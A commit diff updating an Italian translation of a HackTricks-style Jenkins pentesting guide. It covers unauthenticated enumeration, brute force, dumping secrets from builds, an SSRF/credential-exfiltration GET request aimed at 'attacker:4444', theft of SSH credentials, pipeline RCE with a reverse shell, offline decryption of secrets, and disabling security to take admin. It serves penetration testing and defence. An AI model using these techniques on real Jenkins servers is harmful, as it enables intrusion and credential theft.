Translated ['', 'src/pentesting-ci-cd/jenkins-security/README.md', 'src/

This commit is contained in:
Translator
2026-01-17 16:59:40 +00:00
parent 6c5b0a055a
commit f3462ac683
2 changed files with 146 additions and 119 deletions

View File

@@ -2,110 +2,126 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di **integrazione continua** o **consegna continua** (CI/CD) per quasi **qualsiasi** combinazione di **linguaggi di programmazione** e repository di codice sorgente utilizzando pipeline. Inoltre, automatizza vari compiti di sviluppo di routine. Sebbene Jenkins non elimini la **necessità di creare script per singoli passaggi**, fornisce un modo più veloce e robusto per integrare l'intera sequenza di strumenti di build, test e distribuzione rispetto a quanto si possa facilmente costruire manualmente.
Jenkins è uno strumento che offre un metodo semplice per stabilire un ambiente di **integrazione continua** o **continuous delivery** (CI/CD) per quasi **qualsiasi** combinazione di **linguaggi di programmazione** e repository di codice sorgente usando pipeline. Inoltre, automatizza varie attività di sviluppo di routine. Sebbene Jenkins non elimini la **necessità di creare script per singoli passaggi**, fornisce però un modo più rapido e più robusto per integrare l'intera sequenza di strumenti di build, test e deployment rispetto a quanto si possa facilmente costruire manualmente.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Enumerazione Non Autenticata
## Enumerazione non autenticata
Per cercare pagine Jenkins interessanti senza autenticazione come (_/people_ o _/asynchPeople_, che elenca gli utenti attuali) puoi usare:
Per cercare pagine interessanti di Jenkins senza autenticazione, come (_/people_ o _/asynchPeople_, che elenca gli utenti correnti) puoi usare:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Controlla se puoi eseguire comandi senza necessitare di autenticazione:
Verifica se è possibile eseguire comandi senza autenticazione:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Senza credenziali puoi guardare dentro il percorso _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ per **nomi utente**.
Senza credenziali puoi ispezionare il percorso _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ per **usernames**.
Potresti essere in grado di ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_.
Potresti riuscire a ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_
![](<../../images/image (146).png>)
### Vulnerabilità Conosciute
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Accesso
## Login
Nelle informazioni di base puoi controllare **tutti i modi per accedere a Jenkins**:
Nelle informazioni di base puoi verificare **tutti i modi per effettuare il login in Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Registrazione
### Register
Sarai in grado di trovare istanze di Jenkins che **ti permettono di creare un account e accedere ad esso. Semplice come quello.**
Potrai trovare istanze Jenkins che **permettono di creare un account e accedervi. Semplice co.**
### **Accesso SSO**
### **SSO Login**
Inoltre, se la **funzionalità**/**plugin** **SSO** erano presenti, dovresti tentare di **accedere** all'applicazione utilizzando un account di test (ad es., un **account di test Github/Bitbucket**). Trucco da [**qui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
Inoltre, se erano presenti funzionalità/plugin **SSO**, dovresti provare a effettuare il **log-in** all'applicazione usando un account di test (es. un account di prova **Github/Bitbucket**). Trucchi da [**qui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
### Bruteforce
**Jenkins** manca di **politiche sulle password** e di **mitigazione del brute-force sui nomi utente**. È essenziale **bruteforzare** gli utenti poiché potrebbero essere in uso **password deboli** o **nomi utente come password**, anche **nomi utente invertiti come password**.
**Jenkins** non applica una **password policy** né mitigazioni per il **username brute-force**. È essenziale eseguire **brute-force** sugli utenti, poiché potrebbero essere in uso **password deboli** o **usernames come password**, anche **usernames invertiti come password**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying
Usa [questo script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [questo script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).
Usa [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) o [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### Bypass della whitelist IP
### IP Whitelisting Bypass
Molte organizzazioni combinano **sistemi di gestione del controllo sorgente (SCM) basati su SaaS** come GitHub o GitLab con una **soluzione CI interna e self-hosted** come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di **ricevere eventi webhook dai fornitori di controllo sorgente SaaS**, principalmente per attivare i lavori della pipeline.
Molte organizzazioni combinano **SaaS-based source control management (SCM) systems** come GitHub o GitLab con una soluzione **internal, self-hosted CI** come Jenkins o TeamCity. Questa configurazione permette ai sistemi CI di ricevere webhook events dai fornitori di source control SaaS, principalmente per triggerare pipeline jobs.
Per raggiungere questo obiettivo, le organizzazioni **whitelistano** i **range IP** delle **piattaforme SCM**, consentendo loro di accedere al **sistema CI interno** tramite **webhook**. Tuttavia, è importante notare che **chiunque** può creare un **account** su GitHub o GitLab e configurarlo per **attivare un webhook**, potenzialmente inviando richieste al **sistema CI interno**.
Per realizzare questo, le organizzazioni **whitelist** i **IP ranges** delle **SCM platforms**, permettendo loro di accedere al **internal CI system** tramite **webhooks**. Tuttavia, è importante notare che **anyone** può creare un **account** su GitHub o GitLab e configurarlo per **trigger a webhook**, potenzialmente inviando richieste al **internal CI system**.
Controlla: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Abusi interni di Jenkins
In questi scenari supponiamo che tu abbia un account valido per accedere a Jenkins.
> [!WARNING]
> A seconda del meccanismo di **Autorizzazione** configurato in Jenkins e dei permessi dell'utente compromesso, **potresti essere in grado o meno di eseguire i seguenti attacchi.**
> A seconda del meccanismo di **Authorization** configurato in Jenkins e dei permessi dell'utente compromesso potresti essere in grado o meno di eseguire i seguenti attacchi.
Per ulteriori informazioni, controlla le informazioni di base:
Per maggiori informazioni consulta le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Elencare gli utenti
### Elencare utenti
Se hai accesso a Jenkins, puoi elencare altri utenti registrati in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
Se hai accesso a Jenkins puoi elencare altri utenti registrati in http://127.0.0.1:8080/asynchPeople/
### Dumping delle build per trovare segreti in chiaro
### Dumping builds to find cleartext secrets
Usa [questo script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per dumpare le uscite della console delle build e le variabili d'ambiente delle build per sperare di trovare segreti in chiaro.
Usa [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per eseguire il dump degli output della console delle build e delle variabili d'ambiente delle build per cercare eventuali segreti in chiaro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Furto delle credenziali SSH**
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Se l'utente compromesso ha **sufficienti privilegi per creare/modificare un nuovo nodo Jenkins** e le credenziali SSH sono già memorizzate per accedere ad altri nodi, potrebbe **rubare quelle credenziali** creando/modificando un nodo e **impostando un host che registrerà le credenziali** senza verificare la chiave dell'host:
Alcuni plugin espongono handler Jelly `validateButton` o `test connection` sotto percorsi come `/descriptorByName/<Class>/testConnection`. Quando gli handler **non impongono POST o controlli di permesso**, puoi:
- Sostituire POST con GET e rimuovere il Crumb per bypassare i controlli CSRF.
- Eseguire l'handler come utente a basso privilegio/anonimo se non esiste un controllo `Jenkins.ADMINISTER`.
- Effettuare un CSRF contro un admin e sostituire il parametro host/URL per esfiltrare le credentials o innescare chiamate in uscita.
- Usare gli errori di risposta (es. `ConnectException`) come un oracle SSRF/port-scan.
Esempio GET (no Crumb) che trasforma una chiamata di validazione in SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
Se il plugin riutilizza credenziali memorizzate, Jenkins tenterà di autenticarsi su `attacker:4444` e potrebbe causare il leak di identificatori o errori nella risposta. Vedi: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Furto di SSH credentials**
Se l'utente compromesso ha **privilegi sufficienti per creare/modificare un nuovo nodo Jenkins** e sono già memorizzate credenziali SSH per accedere ad altri nodi, potrebbe **rubare quelle credenziali** creando/modificando un nodo e **impostando un host che registrerà le credenziali** senza verificare la host key:
![](<../../images/image (218).png>)
Di solito troverai le credenziali ssh di Jenkins in un **fornitore globale** (`/credentials/`), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione [**Dumping secrets section**](./#dumping-secrets).
Di solito troverai le credenziali SSH di Jenkins in un **provider globale** (`/credentials/`), quindi puoi anche esportarle come faresti con qualsiasi altro secret. Maggiori informazioni nella [**sezione Dumping secrets**](#dumping-secrets).
### **RCE in Jenkins**
Ottenere una **shell nel server Jenkins** offre all'attaccante l'opportunità di rubare tutti i **segreti** e le **variabili d'ambiente** e di **sfruttare altre macchine** situate nella stessa rete o persino **raccogliere credenziali cloud**.
Ottenere una **shell sul server Jenkins** all'attaccante l'opportunità di leakare tutti i **secrets** e le **env variables** e di **sfruttare altre macchine** nella stessa rete o perfino **raccogliere cloud credentials**.
Per impostazione predefinita, Jenkins ver**eseguito come SYSTEM**. Quindi, comprometterlo darà all'attaccante **privilegi SYSTEM**.
Per impostazione predefinita, Jenkins sa**eseguito come SYSTEM**. Quindi comprometterlo darà all'attaccante **privilegi SYSTEM**.
### **RCE Creando/Modificando un progetto**
### **RCE Creazione/Modifica di un progetto**
Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:
@@ -113,15 +129,15 @@ Creare/Modificare un progetto è un modo per ottenere RCE sul server Jenkins:
jenkins-rce-creating-modifying-project.md
{{#endref}}
### **RCE Eseguendo uno script Groovy**
### **RCE Esecuzione di uno script Groovy**
Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più furtivo rispetto alla creazione di un nuovo progetto:
Puoi anche ottenere RCE eseguendo uno script Groovy, che potrebbe essere più discreto rispetto alla creazione di un nuovo progetto:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
### RCE Creando/Modificando una Pipeline
### RCE Creazione/Modifica di pipeline
Puoi anche ottenere **RCE creando/modificando una pipeline**:
@@ -129,37 +145,36 @@ Puoi anche ottenere **RCE creando/modificando una pipeline**:
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Sfruttamento delle Pipeline
## Sfruttamento delle pipeline
Per sfruttare le pipeline devi comunque avere accesso a Jenkins.
Per sfruttare le pipeline è comunque necessario avere accesso a Jenkins.
### Pipeline di Build
### Pipeline di build
Le **pipeline** possono anche essere utilizzate come **meccanismo di build nei progetti**, in tal caso può essere configurato un **file all'interno del repository** che conterrà la sintassi della pipeline. Per impostazione predefinita viene utilizzato `/Jenkinsfile`:
Le **pipeline** possono essere utilizzate anche come **meccanismo di build nei progetti**; in tal caso può essere configurato un **file all'interno del repository** che conterrà la sintassi della pipeline. Per impostazione predefinita viene usato `/Jenkinsfile`:
![](<../../images/image (127).png>)
È anche possibile **memorizzare i file di configurazione della pipeline in altri luoghi** (in altri repository, ad esempio) con l'obiettivo di **separare** l'accesso al repository e l'accesso alla pipeline.
È anche possibile **memorizzare i file di configurazione della pipeline in altri posti** (ad esempio in altri repository) con l'obiettivo di **separare** l'**accesso** al repository dall'accesso alla pipeline.
Se un attaccante ha **accesso in scrittura su quel file**, sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins.\
È possibile che l'attaccante debba **bypassare alcune protezioni dei rami** (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno).
Se un attaccante ha **accesso in scrittura a quel file** sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins. È possibile che l'attaccante debba **bypassare alcune protezioni dei branch** (a seconda della piattaforma e dei privilegi utente potrebbero essere bypassabili o meno).
I trigger più comuni per eseguire una pipeline personalizzata sono:
I trigger più comuni per eseguire una pipeline custom sono:
- **Pull request** al ramo principale (o potenzialmente ad altri rami)
- **Push al ramo principale** (o potenzialmente ad altri rami)
- **Aggiornare il ramo principale** e aspettare che venga eseguito in qualche modo
- **Pull request** al branch principale (o potenzialmente ad altri branch)
- **Push** al branch principale (o potenzialmente ad altri branch)
- **Aggiornare il branch principale** e aspettare che venga eseguito in qualche modo
> [!NOTE]
> Se sei un **utente esterno** non dovresti aspettarti di creare una **PR al ramo principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurato** potresti compromettere completamente le aziende semplicemente sfruttando questo.
> Se sei un **utente esterno** non dovresti aspettarti di poter creare una **PR al branch principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurata** potresti compromettere completamente aziende semplicemente sfruttando questo.
### RCE Pipeline
### Pipeline RCE
Nella sezione RCE precedente è già stata indicata una tecnica per [**ottenere RCE modificando una pipeline**](./#rce-creating-modifying-pipeline).
Nella sezione RCE precedente è stata già indicata una tecnica per [**ottenere RCE modificando una pipeline**](#rce-creating-modifying-pipeline).
### Controllo delle variabili d'ambiente
### Verifica delle env variables
È possibile dichiarare **variabili d'ambiente in chiaro** per l'intera pipeline o per fasi specifiche. Queste variabili d'ambiente **non dovrebbero contenere informazioni sensibili**, ma un attaccante potrebbe sempre **controllare tutte le configurazioni della pipeline/Jenkinsfile**:
È possibile dichiarare **env variables in chiaro** per l'intera pipeline o per specifici stage. Queste env variables **non dovrebbero contenere informazioni sensibili**, ma un attaccante potrebbe comunque **controllare tutte le configurazioni della pipeline/Jenkinsfile**:
```bash
pipeline {
agent {label 'built-in'}
@@ -176,19 +191,19 @@ steps {
```
### Dumping secrets
Per informazioni su come i segreti vengono solitamente trattati da Jenkins, controlla le informazioni di base:
Per informazioni su come i secrets sono solitamente gestiti da Jenkins consulta le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) o a **progetti specifici** (`/job/<project-name>/configure`). Pertanto, per esfiltrare tutti, è necessario **compromettere almeno tutti i progetti** che contengono segreti ed eseguire pipeline personalizzate/contaminate.
Le Credentials possono essere **scoped to global providers** (`/credentials/`) oppure a **specific projects** (`/job/<project-name>/configure`). Pertanto, per exfiltrate tutte devi **compromise at least all the projects** che contengono secrets ed eseguire pipeline custom/poisoned.
C'è un altro problema, per ottenere un **segreto all'interno dell'env** di una pipeline è necessario **conoscere il nome e il tipo del segreto**. Ad esempio, se provi a **caricare** un **segreto `usernamePassword`** come un **segreto `string`**, otterrai questo **errore**:
C'è un altro problema: per ottenere un **secret inside the env** di una pipeline devi **know the name and type of the secret**. Per esempio, se provi a **load** un **`usernamePassword`** **secret** come un **`string`** **secret** otterrai questo **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Ecco come caricare alcuni tipi di segreti comuni:
Ecco il modo per caricare alcuni tipi comuni di secret:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
@@ -219,43 +234,43 @@ env
Alla fine di questa pagina puoi **trovare tutti i tipi di credenziali**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
> Il modo migliore per **estrarre tutti i segreti in una volta** è **compromettere** la macchina **Jenkins** (eseguendo una reverse shell nel **nodo integrato**, ad esempio) e poi **leakare** le **chiavi master** e i **segreti crittografati** e decrittografarli offline.\
> Maggiori informazioni su come fare questo nella sezione [Nodes & Agents](./#nodes-and-agents) e nella sezione [Post Exploitation](./#post-exploitation).
> Il modo migliore per **dump all the secrets at once** è **compromising** la macchina **Jenkins** (ad esempio eseguendo una **reverse shell** nel **built-in node**) e poi **leaking** le **master keys** e le **encrypted secrets** e decifrarle offline.\
> Maggiori dettagli su come fare questo nella [Nodes & Agents section](#nodes-and-agents) e nella [Post Exploitation section](#post-exploitation).
### Trigger
### Triggers
Dalla [documentazione](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La direttiva `triggers` definisce i **modi automatizzati in cui il Pipeline dovrebbe essere riattivato**. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, `triggers` potrebbe non essere necessario poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono `cron`, `pollSCM` e `upstream`.
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
Esempio di Cron:
Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
Controlla **altri esempi nella documentazione**.
Consulta **altri esempi nella documentazione**.
### Nod e Agenti
### Nodi & Agents
Un **istanza di Jenkins** potrebbe avere **diversi agenti in esecuzione su macchine diverse**. Da una prospettiva di attaccante, l'accesso a diverse macchine significa **diverse potenziali credenziali cloud** da rubare o **diverso accesso alla rete** che potrebbe essere abusato per sfruttare altre macchine.
Una **Jenkins instance** potrebbe avere **diversi agents in esecuzione su macchine differenti**. Dal punto di vista di un attacker, l'accesso a macchine diverse significa **different potential cloud credentials** da rubare o **different network access** che potrebbero essere abusati per compromettere altre macchine.
Per ulteriori informazioni controlla le informazioni di base:
Per maggiori informazioni consulta le informazioni di base:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
Puoi enumerare i **nodi configurati** in `/computer/`, di solito troverai il **`Built-In Node`** (che è il nodo che esegue Jenkins) e potenzialmente di più:
Puoi enumerare i **nodi configurati** in `/computer/`, di solito troverai il \*\*`Built-In Node` \*\* (che è il nodo che esegue Jenkins) e potenzialmente altri:
![](<../../images/image (249).png>)
È **particolarmente interessante compromettere il nodo Built-In** perché contiene informazioni sensibili di Jenkins.
È **particolarmente interessante compromettere il Built-In node** perché contiene informazioni sensibili di Jenkins.
Per indicare che vuoi **eseguire** il **pipeline** nel **nodo Jenkins integrato** puoi specificare all'interno del pipeline la seguente configurazione:
Per indicare che vuoi **eseguire** la **pipeline** nel **built-in Jenkins node** puoi specificare all'interno della pipeline la seguente configurazione:
```bash
pipeline {
agent {label 'built-in'}
```
### Esempio completo
Pipeline in un agente specifico, con un trigger cron, con variabili d'ambiente della pipeline e dello stage, caricando 2 variabili in un passaggio e inviando una reverse shell:
Pipeline in un agente specifico, con trigger cron, con variabili env a livello di pipeline e di stage, caricando 2 variabili in uno step e inviando una reverse shell:
```bash
pipeline {
agent {label 'built-in'}
@@ -286,7 +301,7 @@ cleanWs()
}
}
```
## Lettura di File Arbitrari per RCE
## Arbitrary File Read a RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -306,7 +321,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Sfruttamento
## Post Exploitation
### Metasploit
```
@@ -314,9 +329,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
Puoi elencare i segreti accedendo a `/credentials/` se hai abbastanza permessi. Tieni presente che questo elencherà solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**.
Puoi elencare i secrets accedendo a `/credentials/` se hai i permessi sufficienti. Nota che questo elencherà solo i secrets all'interno del file `credentials.xml`, ma **build configuration files** potrebbero avere anche **more credentials**.
Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i **nomi delle credenziali (segreti)** utilizzati per accedere al repository e **altre credenziali del progetto**.
Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i **nomi delle credentials (secrets)** usate per accedere al repository e **altre credentials del progetto**.
![](<../../images/image (180).png>)
@@ -326,14 +341,14 @@ Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i *
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### Dal disco
Questi file sono necessari per **decriptare i segreti di Jenkins**:
Questi file sono necessari per **decriptare i secrets di Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
Tali **segreti possono solitamente essere trovati in**:
Tali **secrets possono solitamente essere trovati in**:
- credentials.xml
- jobs/.../build.xml
@@ -349,9 +364,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Decrittare i segreti di Jenkins offline
#### Decriptare i secrets di Jenkins offline
Se hai estratto le **password necessarie per decrittare i segreti**, usa [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decrittare quei segreti**.
Se hai ottenuto le **password necessarie per decriptare i secrets**, usa [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decriptare quei secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -359,18 +374,18 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrittare i segreti di Jenkins da Groovy
#### Decrypt Jenkins secrets from Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Crea un nuovo utente admin
### Creare un nuovo utente amministratore
1. Accedi al file Jenkins config.xml in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Cerca la parola `<useSecurity>true</useSecurity>` e cambia la parola **`true`** in **`false`**.
1. Accedi al file config.xml di **Jenkins** in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\`
2. Cerca la stringa `<useSecurity>true</useSecurity>` e cambia la parola \*\*`true` \*\* in **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Riavvia** il server **Jenkins**: `service jenkins restart`
4. Ora vai di nuovo al portale Jenkins e **Jenkins non chiederà alcuna credenziale** questa volta. Naviga su "**Manage Jenkins**" per impostare di nuovo la **password dell'amministratore**.
5. **Riabilita** la **sicurezza** cambiando le impostazioni in `<useSecurity>true</useSecurity>` e **riavvia di nuovo Jenkins**.
4. Ora vai di nuovo al portale Jenkins e **Jenkins non richiederà credenziali** questa volta. Vai su "**Manage Jenkins**" per impostare nuovamente la **password dell'amministratore**.
5. **Riattiva** la **sicurezza** cambiando l'impostazione in `<useSecurity>true</useSecurity>` e **riavvia di nuovo Jenkins**.
## Riferimenti

View File

@@ -6,81 +6,92 @@
### Nome utente + Password
Il modo più comune per accedere a Jenkins è con un nome utente o una password.
Il modo più comune per effettuare il login in Jenkins è usare un nome utente e una password
### Cookie
Se un **cookie autorizzato viene rubato**, può essere utilizzato per accedere alla sessione dell'utente. Il cookie è solitamente chiamato `JSESSIONID.*`. (Un utente può terminare tutte le sue sessioni, ma deve prima scoprire che un cookie è stato rubato).
Se un **cookie autorizzato viene rubato**, può essere usato per accedere alla sessione dell'utente. Il cookie di solito si chiama `JSESSIONID.*`. (Un utente può terminare tutte le sue sessioni, ma deve prima scoprire che un cookie è stato rubato).
### SSO/Plugin
### SSO/Plugins
Jenkins può essere configurato utilizzando plugin per essere **accessibile tramite SSO di terze parti**.
Jenkins può essere configurato tramite plugin per essere **accessibile tramite SSO di terze parti**.
### Token
### Tokens
**Gli utenti possono generare token** per dare accesso alle applicazioni per impersonarli tramite CLI o REST API.
**Gli utenti possono generare token** per consentire ad applicazioni di impersonarli via CLI o REST API.
### Chiavi SSH
### SSH Keys
Questo componente fornisce un server SSH integrato per Jenkins. È un'interfaccia alternativa per il [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e i comandi possono essere invocati in questo modo utilizzando qualsiasi client SSH. (Dalla [documentazione](https://plugins.jenkins.io/sshd/))
Questo componente fornisce un server SSH integrato per Jenkins. È un'interfaccia alternativa per la [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), e i comandi possono essere invocati in questo modo usando qualsiasi client SSH. (From the [docs](https://plugins.jenkins.io/sshd/))
## Autorizzazione
In `/configureSecurity` è possibile **configurare il metodo di autorizzazione di Jenkins**. Ci sono diverse opzioni:
- **Chiunque può fare qualsiasi cosa**: Anche l'accesso anonimo può amministrare il server.
- **Modalità legacy**: Stessa di Jenkins <1.164. Se hai il **ruolo "admin"**, ti verrà concesso **il pieno controllo** sul sistema, e **altrimenti** (inclusi gli utenti **anonimi**) avrai accesso **in lettura**.
- **Gli utenti autenticati possono fare qualsiasi cosa**: In questa modalità, ogni **utente autenticato ottiene il pieno controllo** di Jenkins. L'unico utente che non avrà pieno controllo è l'**utente anonimo**, che ottiene solo **accesso in lettura**.
- **Sicurezza basata su matrice**: Puoi configurare **chi può fare cosa** in una tabella. Ogni **colonna** rappresenta un **permesso**. Ogni **riga** **rappresenta** un **utente o un gruppo/ruolo.** Questo include un utente speciale '**anonimo**', che rappresenta **utenti non autenticati**, così come '**autenticato**', che rappresenta **tutti gli utenti autenticati**.
- **Anyone can do anything**: Anche l'accesso anonimo può amministrare il server
- **Legacy mode**: Come Jenkins <1.164. Se hai il ruolo **"admin"**, ti verrà concesso il **controllo completo** sul sistema, e **altrimenti** (inclusi gli utenti **anonymous**) avrai accesso in **sola lettura**.
- **Logged-in users can do anything**: In questa modalità, ogni **utente autenticato ottiene il controllo completo** di Jenkins. L'unico utente che non avrà il controllo completo è **anonymous user**, che ottiene solo **accesso in sola lettura**.
- **Matrix-based security**: Puoi configurare **chi può fare cosa** in una tabella. Ogni **colonna** rappresenta un **permesso**. Ogni **riga** rappresenta un **utente o un gruppo/ruolo.** Questo include un utente speciale '**anonymous**', che rappresenta **utenti non autenticati**, così come '**authenticated**', che rappresenta **tutti gli utenti autenticati**.
![](<../../images/image (149).png>)
- **Strategia di autorizzazione basata su matrice per progetti:** Questa modalità è un'**estensione** della "**sicurezza basata su matrice**" che consente di definire una matrice ACL aggiuntiva per **ogni progetto separatamente.**
- **Strategia basata su ruoli:** Consente di definire autorizzazioni utilizzando una **strategia basata su ruoli**. Gestisci i ruoli in `/role-strategy`.
- **Project-based Matrix Authorization Strategy:** Questa modalità è un'**estensione** di "**Matrix-based security**" che permette di definire matrici ACL aggiuntive **per ogni progetto separatamente.**
- **Role-Based Strategy:** Consente di definire autorizzazioni usando una **role-based strategy**. Gestisci i ruoli in `/role-strategy`.
## **Reame di Sicurezza**
## **Security Realm**
In `/configureSecurity` è possibile **configurare il reame di sicurezza.** Per impostazione predefinita, Jenkins include supporto per alcuni reami di sicurezza diversi:
In `/configureSecurity` è possibile **configurare il security realm.** Per impostazione predefinita Jenkins include il supporto per alcuni Security Realm differenti:
- **Delegare al contenitore servlet**: Per **delegare l'autenticazione a un contenitore servlet che esegue il controller Jenkins**, come [Jetty](https://www.eclipse.org/jetty/).
- **Database utenti di Jenkins:** Usa **il proprio archivio dati utenti integrato di Jenkins** per l'autenticazione invece di delegare a un sistema esterno. Questo è abilitato per impostazione predefinita.
- **LDAP**: Delega tutta l'autenticazione a un server LDAP configurato, inclusi sia utenti che gruppi.
- **Database utenti/gruppi Unix**: **Delega l'autenticazione al database utenti** a livello di OS Unix sottostante sul controller Jenkins. Questa modalità consentirà anche il riutilizzo dei gruppi Unix per l'autorizzazione.
- **Delegate to servlet container**: Per **delegare l'autenticazione a un servlet container che esegue il controller Jenkins**, come [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Usa il **database utenti integrato di Jenkins** per l'autenticazione invece di delegare a un sistema esterno. Questo è abilitato di default.
- **LDAP**: Delega tutta l'autenticazione a un server LDAP configurato, inclusi utenti e gruppi.
- **Unix user/group database**: **Delega l'autenticazione al database utenti a livello OS Unix** sul controller Jenkins. Questa modalità permette anche il riuso dei gruppi Unix per l'autorizzazione.
I plugin possono fornire ulteriori reami di sicurezza che possono essere utili per incorporare Jenkins in sistemi di identità esistenti, come:
I plugin possono fornire Security Realm aggiuntivi che possono essere utili per integrare Jenkins in sistemi di identity esistenti, come:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [Autenticazione GitHub](https://plugins.jenkins.io/github-oauth)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Nodii, Agenti e Esecutori di Jenkins
## Jenkins Nodes, Agents & Executors
Definizioni dalla [documentazione](https://www.jenkins.io/doc/book/managing/nodes/):
Definizioni dalle [docs](https://www.jenkins.io/doc/book/managing/nodes/):
